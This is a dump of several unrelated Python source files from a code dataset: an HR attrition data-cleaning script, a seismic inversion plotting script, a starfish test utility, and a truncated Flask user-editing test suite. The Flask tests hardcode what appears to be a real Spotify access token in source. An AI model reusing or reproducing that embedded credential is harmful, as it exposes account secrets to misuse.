x > 0)\n elif year == '2019':\n df2['Planned_as_a___of_Bonus_Tar'] = 0\n df2['Mgr_Change'] = df['Mgr_Change_2018'].map(lambda x: x > 0)\n elif year == '2020':\n df2['Planned_as_a___of_Bonus_Tar'] = 0\n df2['Mgr_Change'] = df['Mgr_Change_2018'].map(lambda x: x > 0)\n\n for c in ['Compensation_Range___Midpoint', 'Total_Base_Pay___Local', 'Job_Sub_Function__IA__Host_All_O',\n 'Length_of_Service_in_Years_inclu', 'Job_Function__IA__Host_All_Other',\n 'Promotion', 'Demotion', 'Lateral',\n # 'Cross_Move', 'Trainings_Completed',\n # 'Mgr_Change_YN', 'SkipLevel_Mgr_Change',\n 'Rehire_YN',\n # '_018_Planned_as_a___of_Bonus_Tar','_017_Planned_as_a___of_Bonus_Tar','_016_Planned_as_a___of_Bonus_Tar',\n 'Highest_Degree_Received',\n # 'Actual_Sales_Incentive__2016', 'Actual_Sales_Incentive__2017',\n # 'Actual_Sales_Incentive__2018', 'Target_Sales_Incentive__2016',\n # 'Target_Sales_Incentive__2017', 'Target_Sales_Incentive__2018',\n 'Hire_Date__Most_Recent_', # 'Termination_Date',\n 'Working_Country_Fixed',\n 'Location_Code__IA__Host_All_Othe',\n 'Manager_WWID__IA__Host_All_Other']:\n df2[c] = df[c]\n\n for EM in ['Employee', 'Manager']:\n df2[EM + '_Rating_1'] = df[EM + '_Rating_1']\n df2[EM + '_Rating_2'] = df[EM + '_Rating_2']\n df2[EM + '_Rating_3'] = df[EM + '_Rating_3']\n\n df_filtered = df2.query('Termination_Reason != \"End of Contract/Assignment Completed\"')\n\n if True:\n df_filtered = df_filtered.assign(Compensation_Range___Midpoint=pd.Series(\n df_filtered['Compensation_Range___Midpoint'].replace(0, 1e9)).values)\n df_filtered['Compa_Diff_Ratio'] = \\\n (df_filtered['Total_Base_Pay___Local'] -\n df_filtered['Compensation_Range___Midpoint']) / df_filtered['Compensation_Range___Midpoint']\n df_filtered['Compa_Ratio'] = df_filtered['Total_Base_Pay___Local']/df_filtered['Compensation_Range___Midpoint']\n\n # df_filtered['Sales_Incentive_2016'] = df_filtered['Actual_Sales_Incentive__2016'] - \\\n # df_filtered['Target_Sales_Incentive__2016']\n # df_filtered['Sales_Incentive_2017'] = df_filtered['Actual_Sales_Incentive__2017'] - \\\n # df_filtered['Target_Sales_Incentive__2017']\n # df_filtered['Sales_Incentive_2018'] = df_filtered['Actual_Sales_Incentive__2018'] - \\\n # df_filtered['Target_Sales_Incentive__2018']\n\n # df_filtered = df_filtered.drop(['Actual_Sales_Incentive__2016', 'Actual_Sales_Incentive__2017',\n # 'Actual_Sales_Incentive__2018', 'Target_Sales_Incentive__2016',\n # 'Target_Sales_Incentive__2017', 'Target_Sales_Incentive__2018'], axis=1)\n\n for EM in ['Employee', 'Manager']:\n for c in ['1', '2', '3']:\n # c = str(1)\n # df_filtered[EM+'_Rating_'+c+'_W'] = df_filtered[EM+'_Rating_'+c].str.split('/').str.get(0).str.strip()\n # df_filtered[EM+'_Rating_'+c+'_H'] = df_filtered[EM+'_Rating_'+c].str.split('/').str.get(1).str.strip()\n # df_filtered = df_filtered.drop(EM+'_Rating_' + c, axis=1)\n\n print(df_filtered[EM + '_Rating_' + c].value_counts())\n\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('1', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('2', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('3', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('4', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('5', 1)\n\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('6', 2)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('7', 2)\n\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('8', 3)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace('9', 3)\n\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Insufficient Data to Rate / Insufficient Data to Rate', 0)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Does Not Meet / Partially Meets', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Does Not Meet / Fully Meets', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Fully Meets / Partially Meets', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Partially Meets / Partially Meets', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Partially Meets / Does Not Meet', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Does Not Meet / Does Not Meet', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Partially Meets / Fully Meets', 1)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Fully Meets / Does Not Meet', 1)\n\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Fully Meets / Fully Meets', 2)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Fully Meets / Exceeds', 2)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Exceeds / Fully Meets', 2)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Partially Meets / Exceeds', 2)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Exceeds / Partially Meets', 2)\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Exceeds / Does Not Meet', 2)\n\n df_filtered[EM + '_Rating_' + c] = df_filtered[EM + '_Rating_' + c].replace(\n 'Exceeds / Exceeds', 3)\n print('Cleaned')\n print(df_filtered[EM + '_Rating_' + c].value_counts())\n\n '''\n for s in ['W', 'H']:\n # print(df_filtered[EM + '_Rating_' + c + '_'+s].value_counts())\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n '3', None)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n '4', None)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n '5', None)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n '6', None)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n '7', None)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n '8', None)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n '9', None)\n df_filtered[EM+'_Rating_'+c+'_'+s] = df_filtered[EM+'_Rating_'+c+'_'+s].replace('Exceeds', 4)\n df_filtered[EM+'_Rating_'+c+'_'+s] = df_filtered[EM+'_Rating_'+c+'_'+s].replace('Fully Meets', 3)\n df_filtered[EM+'_Rating_'+c+'_'+s] = df_filtered[EM+'_Rating_'+c+'_'+s].replace('Partially Meets', 2)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n 'Does Not Meet', 1)\n df_filtered[EM + '_Rating_' + c + '_' + s] = df_filtered[EM + '_Rating_' + c + '_' + s].replace(\n 'Insufficient Data to Rate', 0)\n '''\n\n tenure = []\n status = []\n\n for r, st, ten in zip(df_filtered['Termination_Reason'],\n df_filtered['Hire_Date__Most_Recent_'],\n # df_filtered['Termination_Date'],\n df_filtered['Length_of_Service_in_Years_inclu']):\n if r == 'Resignation' and year != '2019':\n d1 = datetime.strptime(st, \"%Y-%m-%d\")\n # d2 = datetime.strptime(et, \"%Y-%m-%d\")\n # tenure.append(abs((d2 - d1).days) / 365)\n status.append(1)\n else:\n tenure.append(ten)\n status.append(0)\n\n # df_filtered = df_filtered.assign(Tenure=pd.Series(tenure).values)\n df_filtered['Tenure'] = df_filtered['Length_of_Service_in_Years_inclu']\n df_filtered = df_filtered.assign(Status=pd.Series(status).values)\n\n df_filtered = df_filtered.drop(['Hire_Date__Most_Recent_', 'Length_of_Service_in_Years_inclu',\n 'Termination_Reason'],\n axis=1)\n df_filtered['Tenure_log'] = np.log(df_filtered['Tenure'] + 1)\n # df_filtered['Mgr_Change_YN'] = df_filtered['Mgr_Change_YN'].astype('category').cat.codes\n df_filtered.info()\n\n # df_filtered['Working_Country'] = 37\n\n manager_manager = []\n for mw in df_filtered['Manager_WWID__IA__Host_All_Other']:\n man_man = 0\n for w, mmw in zip(df_filtered['WWID'], df_filtered['Manager_WWID__IA__Host_All_Other']):\n if mw == w:\n man_man = mmw\n break\n manager_manager.append(man_man)\n\n df_filtered['Manager_Manager_WWID'] = manager_manager\n\n df_filtered_filtered = df_filtered[df_filtered['Status'] == 0]\n df_filtered_filtered.info()\n\n x_resigned_new = df_filtered[df_filtered['Status'] == 1]\n x_resigned_new.info()\n\n resigs = x_resigned_new.WWID.values.tolist()\n print('Resignations:', len(resigs), resigs)\n\n df_filtered_filtered = df_filtered_filtered.set_index('WWID')\n for w in df_filtered_filtered.index:\n # print(w, df_filtered_filtered.at[w, 'Status'])\n if w in resigs:\n df_filtered_filtered.at[w, 'Status'] = 1\n\n print('Filtered')\n df_filtered_filtered.info()\n\n if year == '2020':\n df_filtered_filtered['Skip_Manager_Change'] = 0\n df_filtered_filtered.to_csv('data_files/BRAZIL/' + year + '_clean.csv', sep=',', encoding='utf-8')\n else:\n df_filtered_filtered.to_csv('data_files/BRAZIL/' + year + '_pre_clean.csv', sep=',', encoding='utf-8')\n\n\ndef pickle_dataframe():\n from preprocessing import OneHotEncoder\n\n df_name = 'merged_Brazil_combined'\n df = pd.read_csv('data_files/BRAZIL/' + df_name + '.csv', sep=',')\n df = df.sample(frac=1).reset_index(drop=True)\n df = df[df.Job_Function__IA__Host_All_Other != 'Operations']\n print('size=', df.shape[0])\n data_x = df.drop([\"Unnamed: 0\", \"Manager_WWID__IA__Host_All_Other\"], axis=1)\n for c in data_x.columns:\n if data_x[c].dtype == object:\n data_x[c] = data_x[c].fillna('Missing')\n print(c)\n data_x[c] = data_x[c].astype('category')\n else:\n data_x[c] = data_x[c].fillna(-999)\n\n data_x = data_x.drop([\"Job_Sub_Function__IA__Host_All_O\"], axis=1)\n data_x['Rehire_YN'] = data_x['Rehire_YN'].cat.codes\n data_x.info()\n\n data_x_numeric = OneHotEncoder().fit_transform(data_x)\n\n print(data_x_numeric.head())\n\n for c in data_x_numeric.columns:\n if 'Missing' in c:\n print(c)\n data_x_numeric = data_x_numeric.drop(c, axis=1)\n\n data_x_numeric.info()\n data_x_numeric = data_x_numeric.fillna(-999)\n data_x_numeric.to_pickle(\"./data_files/BRAZIL/\"+df_name+\"_x_numeric_newer.pkl\")\n data_x_numeric.to_csv(\"./data_files/BRAZIL/\" + df_name + \"_x_numeric_newer.csv\", sep=',', encoding='utf-8')\n\n\ndef fix_moves_by_year(y1, y2):\n from os import path\n import numpy\n\n year2 = str(y2) if y2 > y1 else str(y1)\n year1 = str(y1) if y2 > y1 else str(y2)\n\n if year2 == '2020':\n if path.exists('data_files/BRAZIL/' + year1 + '_pre_clean.csv') and path.exists(\n 'data_files/BRAZIL/' + year2 + '_clean.csv'):\n print('Moving from ' + year2 + ' to ' + year1)\n df1 = pd.read_csv('data_files/BRAZIL/' + year1 + '_pre_clean.csv', sep=',')\n df2 = pd.read_csv('data_files/BRAZIL/' + year2 + '_clean.csv', sep=',')\n else:\n print('Moving from ' + year2 + ' to ' + year1)\n print('Files not available')\n return\n else:\n if path.exists('data_files/BRAZIL/' + year1 + '_pre_clean.csv') and path.exists('data_files/BRAZIL/' + year2 + '_pre_clean.csv'):\n print('Moving from '+year2+' to '+year1)\n df1 = pd.read_csv('data_files/BRAZIL/' + year1 + '_pre_clean.csv', sep=',')\n df2 = pd.read_csv('data_files/BRAZIL/' + year2 + '_pre_clean.csv', sep=',')\n else:\n print('Files not available')\n return\n\n ws = [x for x in df2.WWID.values if x in df1.WWID.values]\n\n df1 = df1.set_index('WWID')\n df2 = df2.set_index('WWID')\n\n # df2.info()\n\n for w in df1.index:\n if w in ws:\n prom = df2.at[w, 'Promotion']\n demo = df2.at[w, 'Demotion']\n late = df2.at[w, 'Lateral']\n # cros = df2.at[w, 'Cross_Move']\n else:\n prom = 0\n demo = 0\n late = 0\n # cros = 0\n\n if type(prom) is numpy.ndarray:\n df1.at[w, 'Promotion'] = prom[0]\n df1.at[w, 'Demotion'] = demo[0]\n df1.at[w, 'Lateral'] = late[0]\n # df1.at[w, 'Cross_Move'] = cros[0]\n else:\n df1.at[w, 'Promotion'] = prom\n df1.at[w, 'Demotion'] = demo\n df1.at[w, 'Lateral'] = late\n # df1.at[w, 'Cross_Move'] = cros\n\n print(df1['Promotion'].head())\n print(df2['Promotion'].head())\n\n skip_manager_change = []\n for w1 in df1.index:\n smc = 0\n for w2 in df2.index:\n if w1 == w2:\n # print('Managers', df1.at[w1, 'Manager_Manager_WWID'], df2.at[w2, 'Manager_Manager_WWID'])\n if df1.at[w1, 'Manager_Manager_WWID'] != df2.at[w2, 'Manager_Manager_WWID'].any():\n smc = 1\n skip_manager_change.append(smc)\n\n df1['Skip_Manager_Change'] = skip_manager_change\n df1 = df1.drop(['Manager_Manager_WWID'], axis=1)\n\n df1.to_csv('data_files/BRAZIL/' + year1 + '_clean.csv', sep=',', encoding='utf-8')\n if year2 == '2020':\n df2 = df2.drop(['Manager_Manager_WWID'], axis=1)\n df2.to_csv('data_files/BRAZIL/' + year2 + '_clean.csv', sep=',', encoding='utf-8')\n\n\ndef merge_files():\n # df_2015 = pd.read_csv('Brazil_2015_filtered_shifted.csv', sep=',')\n # df_2016 = pd.read_csv('Brazil_2016_filtered_shifted.csv', sep=',')\n # df_2017 = pd.read_csv('Brazil_2017_filtered_shifted.csv', sep=',')\n # df_2018 = pd.read_csv('Brazil_2018_filtered.csv', sep=',')\n\n df_2016 = pd.read_csv('data_files/BRAZIL/2016_clean.csv', sep=',')\n df_2017 = pd.read_csv('data_files/BRAZIL/2017_clean.csv', sep=',')\n df_2018 = pd.read_csv('data_files/BRAZIL/2018_clean.csv', sep=',')\n # df_2019 = pd.read_csv('data_files/BRAZIL/2019_combined.csv', sep=',')\n\n df_2016['Report_Year'] = 2016\n df_2017['Report_Year'] = 2017\n df_2018['Report_Year'] = 2018\n # df_2019['Report_Year'] = 2019\n\n df_merged = df_2016.append(df_2017, sort=True)\n df_merged = df_merged.append(df_2018, sort=True)\n # df_merged = df_merged.append(df_2019, sort=True)\n df_merged.to_csv('data_files/BRAZIL/merged_Brazil_combined.csv', sep=',', encoding='utf-8')\n\n\nif __name__ == '__main__':\n split_files()\n # # write_to_pickle(year)\n #\n clean_dataframe('2016')\n clean_dataframe('2017')\n clean_dataframe('2018')\n clean_dataframe('2019')\n # clean_dataframe('2020')\n\n fix_moves_by_year(2016, 2017)\n fix_moves_by_year(2017, 2018)\n fix_moves_by_year(2018, 2019)\n fix_moves_by_year(2019, 2020)\n\n # combine(2016)\n # combine(2017)\n # combine(2018)\n # combine(2019)\n\n merge_files()\n pickle_dataframe()\n","sub_path":"new_brazil_cleaning.py","file_name":"new_brazil_cleaning.py","file_ext":"py","file_size_in_byte":18925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"324089022","text":"import os\nfrom mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport re\nfrom scipy.interpolate import griddata\n\n# same structure\n# Label\n# numLayer fixed - 4 here.\n# misfit\n# Create a class for storage\nclass invertedModel:\n def __init__(self):\n self.VP = []\n self.VS = []\n self.thickness = []\n self.misfit=0.0\n def append(self,vp,vs,thick):\n self.VP.append(vp)\n self.VS.append(vs)\n self.thickness.append(thick)\n\n## when one txt file containes multiple inversion result\nfilename = 'editmerg_3km_3lay.txt'\nwith open(filename, 'r') as myfile:\n data=myfile.readlines()\n## when read from individual inversion results\n# generate filelist\n'''\nlist_dir = os.listdir('./DAS_invert/')\nsorted(list_dir)\ntemp = list_dir.sort()\nfor fileName in list_dir:\n with open('./DAS_invert/'+list_dir, 'r') as myfile:\n '''\n \n \ncounter = len(data)\nmodelLen = int(counter/6)\n#print(\"modelLen\"+str(modelLen))\n# Create an Empty list of object\nmodelList = [invertedModel() for _ in range(0,modelLen) ]\nfor count, line in enumerate(data):\n index = int(count/6)\n if(count%6==0):\n pass\n else:\n if(count%6==5):\n# extract only number from the line - misfit\n val =float( line.split()[1])\n modelList[index].misfit = val\n else:\n tmp=line.split()\n modelList[index].append(float(tmp[0]),float(tmp[1]),float(tmp[2]))\n \n# list of model obj.\n#for model in modelList:\n #print(\"VP\")\n #print(model.VP)\n #print(\"VS\")\n #print(model.VS)\n #print(\"THICK\")\n #print(model.thickness)\n# let's generate grid\n# 2.4 to increment 0.12km\n'''\ny = np.arange(2.4,4.4,0.12)\ny = np.append(y,4.4)\nprint(y)\nx_list = []\ny_test = np.array([0.0,0.0,0.0,0.0])\ny_test.fill(2.4)\ny_list= []\nvel_list = []\nprint(y_test)\n# generate x y z list\nfor count, model in enumerate(modelList):\n x_list.append(np.cumsum(model.thickness))\n y_list.append(np.full((1,4),2.4+count*0.12))\n vel_list.append(model.VS)\n \nprint(\"!!--------------------------------\")\nprint(x_list)\nprint(\"!!--------------------------------\")\nprint(y_list[10][0][1]) # this returns 1x4\nprint(\"!!--------------------------------\")\nprint(vel_list)\nX, Y, Z, = np.array([]), np.array([]), np.array([])\nfor i in range(len(x_list)):\n for j in range(4):\n print(\"index\")\n print(i,j)\n X = np.append(X,x_list[i][j])\n Y = np.append(Y,2.4+i*0.12)\n Z = np.append(Z,vel_list[i][j])\n# create x-y points to be used in heatmap\nxi = np.linspace(X.min(), 5000, 100)\nyi = np.linspace(Y.min(), Y.max(), 100)\n\n# Z is a matrix of x-y values\nzi = griddata((X, Y), Z, (xi[None,:], yi[:,None]), method='cubic')\nprint(zi)\n# I control the range of my colorbar by removing data \n# outside of my range of interest\nzmin =0 \nzmax =10000\nzi[(zizmax)] = None\n\n# Create the contour plot\n#CS = plt.contourf(xi, yi, zi, 15, cmap=plt.cm.rainbow,\n# vmax=zmax, vmin=zmin)\nplt.pcolormesh(xi, yi,zi)\nplt.colorbar() \nplt.show()\n\n'''\n## generate new array by mod(4) val\nx_1=np.array([])\ny_1=np.array([])\nz_1=np.array([])\n\nx_2=np.array([])\ny_2=np.array([])\nz_2=np.array([])\n\nx_3=np.array([])\ny_3=np.array([])\nz_3=np.array([])\n\nx_4=np.array([])\ny_4=np.array([])\nz_4=np.array([])\n\n# generate x y z list\nx_list = []\ny_test = np.array([0.0,0.0,0.0,0.0])\ny_test.fill(2.4)\ny_list= []\nvel_list = []\nfor count, model in enumerate(modelList):\n x_list.append(np.cumsum(model.thickness))\n y_list.append(np.full((1,4),2.4+count*0.12))\n vel_list.append(model.VS)\nX, Y, Z, = np.array([]), np.array([]), np.array([])\nfor i in range(len(x_list)):\n for j in range(4):\n print(\"index\")\n print(i,j)\n X = np.append(X,x_list[i][j])\n Y = np.append(Y,2.4+i*0.12)\n Z = np.append(Z,vel_list[i][j])\n if(j==0):\n x_1 = np.append(x_1,x_list[i][j])\n y_1 = np.append(y_1,2.4+i*0.12)\n z_1 = np.append(z_1,vel_list[i][j])\n elif(j==1):\n x_2 = np.append(x_2,x_list[i][j])\n y_2 = np.append(y_2,2.4+i*0.12)\n z_2 = np.append(z_2,vel_list[i][j])\n elif(j==2):\n x_3 = np.append(x_3,x_list[i][j])\n y_3 = np.append(y_3,2.4+i*0.12)\n z_3 = np.append(z_3,vel_list[i][j])\n elif(j==3):\n x_4 = np.append(x_4,x_list[i][j])\n y_4 = np.append(y_4,2.4+i*0.12)\n z_4 = np.append(z_4,vel_list[i][j])\n'''\nfig = plt.figure()\nax1 = fig.add_subplot(411)#,projection='3d')\nax1.set_xlim([0,3000])\n#ax1.set_zlim([0,8000])\n#ax1.xaxis.tick_top()\nax1.scatter(x_1,y_1,z_1,c='r')\n\nax1.scatter(x_2,y_2,z_2,c='b')\n\nax1.scatter(x_3,y_3,z_3,c='g')\n\nax1.scatter(x_4,y_4,z_4,c='y')\nax1.set_xlabel('X Label')\nax1.set_ylabel('Y Label')\n'''\n#ax1.set_zlabel('Z Label')\n# size X Y Z : 19*4 = 76\nprint(len(X))\nprint(\"\\n\"*10)\nprint(len(Y))\nprint(\"\\n\"*10)\nprint(len(Z))\nzMat = np.reshape(Z,(19,4))\nprint(zMat)\nfig = plt.figure()\n#plt.matshow(np.transpose(zMat))\nax1 =fig.add_subplot(111)\ncax = ax1.matshow(np.transpose(zMat), interpolation='nearest')\nfig.colorbar(cax)\n\n\n#ax1.scatter(X,Y,Z)\n#ax4.scatter(X,Y,Z)\n#plt.contourf(X,Y,Z)\n\nplt.show()\n\n \n","sub_path":"util/procMulplot.py","file_name":"procMulplot.py","file_ext":"py","file_size_in_byte":5250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"598219999","text":"import csv\nimport dataclasses\nimport os\nfrom pathlib import Path\nfrom typing import Callable, Mapping, MutableMapping, MutableSequence, Optional, Sequence\n\nimport numpy as np\nfrom slicedimage import ImageFormat\n\nfrom starfish.core.types import Axes, Coordinates, CoordinateValue\nfrom ..factories import unique_data\nfrom ... import FetchedTile, TileFetcher, TileIdentifier\nfrom ...structured_formatter import TILE_COORDINATE_NAMES\n\n\nclass UniqueTiles(FetchedTile):\n \"\"\"Tiles where the pixel values are unique per fov/round/ch/z.\"\"\"\n def __init__(\n self,\n # these are the arguments passed in as a result of tile_fetcher_factory's\n # pass_tile_indices parameter.\n fov_id: int, round_id: int, ch_id: int, zplane_id: int,\n # these are the arguments we are passing through tile_fetcher_factory.\n fovs: Sequence[int], rounds: Sequence[int], chs: Sequence[int], zplanes: Sequence[int],\n tile_height: int, tile_width: int,\n ) -> None:\n super().__init__()\n self.fov_id = fov_id\n self.round_id = round_id\n self.ch_id = ch_id\n self.zplane_id = zplane_id\n self.fovs = fovs\n self.rounds = rounds\n self.chs = chs\n self.zplanes = zplanes\n self.tile_height = tile_height\n self.tile_width = tile_width\n\n @property\n def shape(self) -> Mapping[Axes, int]:\n return {Axes.Y: self.tile_height, Axes.X: self.tile_width}\n\n def tile_data(self) -> np.ndarray:\n \"\"\"Return the data for a given tile.\"\"\"\n return unique_data(\n self.fov_id,\n self.rounds.index(self.round_id),\n self.chs.index(self.ch_id),\n self.zplanes.index(self.zplane_id),\n len(self.fovs),\n len(self.rounds),\n len(self.chs),\n len(self.zplanes),\n self.tile_height,\n self.tile_width)\n\n\ndef write_tile_data(\n basepath: Path,\n image_type: str,\n tile_format: ImageFormat,\n tile_identifiers: Sequence[TileIdentifier],\n fetcher: TileFetcher,\n tilepath_generator: Optional[Callable[\n [Path, str, ImageFormat, TileIdentifier], Path]] = None,\n) -> None:\n if tilepath_generator is None:\n tilepath_generator = \\\n lambda _basepath, _image_type, _tile_format, _tile_identifier: basepath / (\n f\"{_image_type}-\"\n f\"f{_tile_identifier.fov_id}-\"\n f\"r{_tile_identifier.round_label}-\"\n f\"c{_tile_identifier.ch_label}-\"\n f\"z{_tile_identifier.zplane_label}.\"\n f\"{tile_format.file_ext}\"\n )\n\n for tile_identifier in tile_identifiers:\n fetched_tile = fetcher.get_tile(\n tile_identifier.fov_id,\n tile_identifier.round_label,\n tile_identifier.ch_label,\n tile_identifier.zplane_label)\n\n tilepath = tilepath_generator(basepath, image_type, tile_format, tile_identifier)\n tilepath.parent.mkdir(parents=True, exist_ok=True)\n\n tile_format.writer_func(tilepath, fetched_tile.tile_data())\n\n\ndef render_coordinates_to_rows(\n tile_to_physical_coordinates: Mapping[\n TileIdentifier, Mapping[Coordinates, CoordinateValue]],\n) -> Sequence[Mapping[str, str]]:\n results: MutableSequence[Mapping[str, str]] = list()\n\n for tile_identifier, physical_coordinates in tile_to_physical_coordinates.items():\n rowdata: MutableMapping[str, str] = dict()\n\n for tile_coordinate_name, tile_coordinate_value in zip(\n TILE_COORDINATE_NAMES, dataclasses.astuple(tile_identifier)\n ):\n rowdata[tile_coordinate_name] = str(tile_coordinate_value)\n\n for coordinate_name in list(Coordinates):\n coordinate_value = physical_coordinates.get(coordinate_name, None)\n if coordinate_value is None and coordinate_name == Coordinates.Z:\n # Z coordinates may be legitimately missing\n continue\n\n if isinstance(coordinate_value, tuple):\n rowdata[f'{coordinate_name}_min'] = str(coordinate_value[0])\n rowdata[f'{coordinate_name}_max'] = str(coordinate_value[1])\n else:\n rowdata[f'{coordinate_name}_min'] = str(coordinate_value)\n\n results.append(rowdata)\n\n return results\n\n\ndef write_coordinates_csv(\n path: Path,\n rows: Sequence[Mapping[str, str]],\n write_z_coordinates_in_header: bool,\n) -> None:\n headers = list(TILE_COORDINATE_NAMES)\n for coordinate_name in list(Coordinates):\n if coordinate_name == Coordinates.Z and not write_z_coordinates_in_header:\n continue\n headers.append(f\"{coordinate_name.value}_min\")\n headers.append(f\"{coordinate_name.value}_max\")\n\n with open(os.fspath(path), \"w\") as fh:\n writer = csv.DictWriter(fh, headers)\n writer.writeheader()\n for row in rows:\n writer.writerow(row)\n","sub_path":"starfish/core/experiment/builder/test/structured_formatter/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"68842256","text":"import unittest\nimport json\nfrom flask import make_response, redirect\nimport datetime\n\nimport app\nfrom app.models import User\nfrom app import db\n\nspotify_access_token = \"BQBDlcIjEQaFWTuEmhyJMs5iIumK84xvA-RFlWbAhpLEVzutNT1yx7OOly6ThBl9KIONAT5uH2IxQdHWbJrtu-leOPkFlRtdI-Dhb2ZWBSXslGqaJNAlkzz1XRwk_9iuJPN1NeaWL1L7NcopO_5yE-cmxW8jtJd6wn9Kcx0TuYN6psQHGFQ\"\n\ntest_user = { \"username\": \"\",\n \"spotify_id\": \"\",\n \"birthdate\": \"\",\n \"email\": \"\",\n \"spotify_access_token\": spotify_access_token,\n \"spotify_refresh_token\": \"\"\n}\n\nclass TestUsers(unittest.TestCase):\n\n def setUp(self):\n self.app = app.create_app(\"development\")\n self.client = self.app.test_client(use_cookies=True)\n\n with self.app.app_context():\n self.client.set_cookie(\"http://127.0.0.1:5000/\", \"access_token\", spotify_access_token)\n response = self.client.post('/users/info/me', data=json.dumps(dict()), content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n if resp['error'] != \"\":\n print(\"Please get a new access token\")\n user = resp['user']\n\n test_user['username'] = user['username']\n test_user['spotify_id'] = user['spotify_id']\n test_user[\"birthdate\"] = datetime.datetime.strptime(user['birthdate'], '%a, %d %b %Y %H:%M:%S GMT')\n test_user['email'] = user['email']\n test_user['spotify_refresh_token'] = user['spotify_refresh_token']\n db.create_all()\n\n def test_user_edit(self):\n edited_username = \"TestUserNotInTheDatabase\"\n edited_birthdate = \"2012-11-06\"\n edited_email = \"TestUserEmailNotInTheDatabase@fakeWebsite.com\"\n with self.app.app_context():\n\n temp_user = db.session.query(User).filter_by(spotify_id=test_user[\"spotify_id\"]).first()\n assert temp_user in db.session\n\n id = temp_user.id\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=edited_username,\n birthdate=edited_birthdate,\n email=edited_email)),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n print(resp)\n error = resp['error']\n result = resp['result']\n\n assert error == \"\"\n assert result is True\n\n temp_user = db.session.query(User).filter_by(id=id).first()\n\n assert temp_user.username == edited_username\n assert temp_user.email == edited_email\n\n temp_user.username = test_user['username']\n temp_user.birthdate = test_user['birthdate']\n temp_user.email = test_user['email']\n temp_user.save()\n\n def test_user_edit_blank_entries(self):\n with self.app.app_context():\n\n temp_user = db.session.query(User).filter_by(spotify_id=test_user[\"spotify_id\"]).first()\n assert temp_user in db.session\n\n id = temp_user.id\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=\"\",\n birthdate=\"\",\n email=\"\")),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"\"\n assert result is True\n\n temp_user_querry = db.session.query(User).filter_by(id=id).first()\n\n assert temp_user_querry.username == temp_user.username\n assert temp_user_querry.birthdate == temp_user.birthdate\n assert temp_user_querry.email == temp_user.email\n return\n\n def test_user_edit_username_special_char(self):\n with self.app.app_context():\n\n temp_user = db.session.query(User).filter_by(spotify_id=test_user[\"spotify_id\"]).first()\n assert temp_user in db.session\n\n id = temp_user.id\n\n response = self.client.post('/users/edit', data=json.dumps(dict(username=\"TestU$er\",\n birthdate=\"\",\n email=\"\")),\n content_type='application/json')\n\n resp = json.loads(response.data.decode())\n error = resp['error']\n result = resp['result']\n\n assert error == \"Invalid username\"\n assert result is False\n\n temp_user.username = test_user['username']\n temp_user.save()\n return\n\n def test_user_edit_username_spaces(self):\n with self.app.app_context():\n\n temp_user = 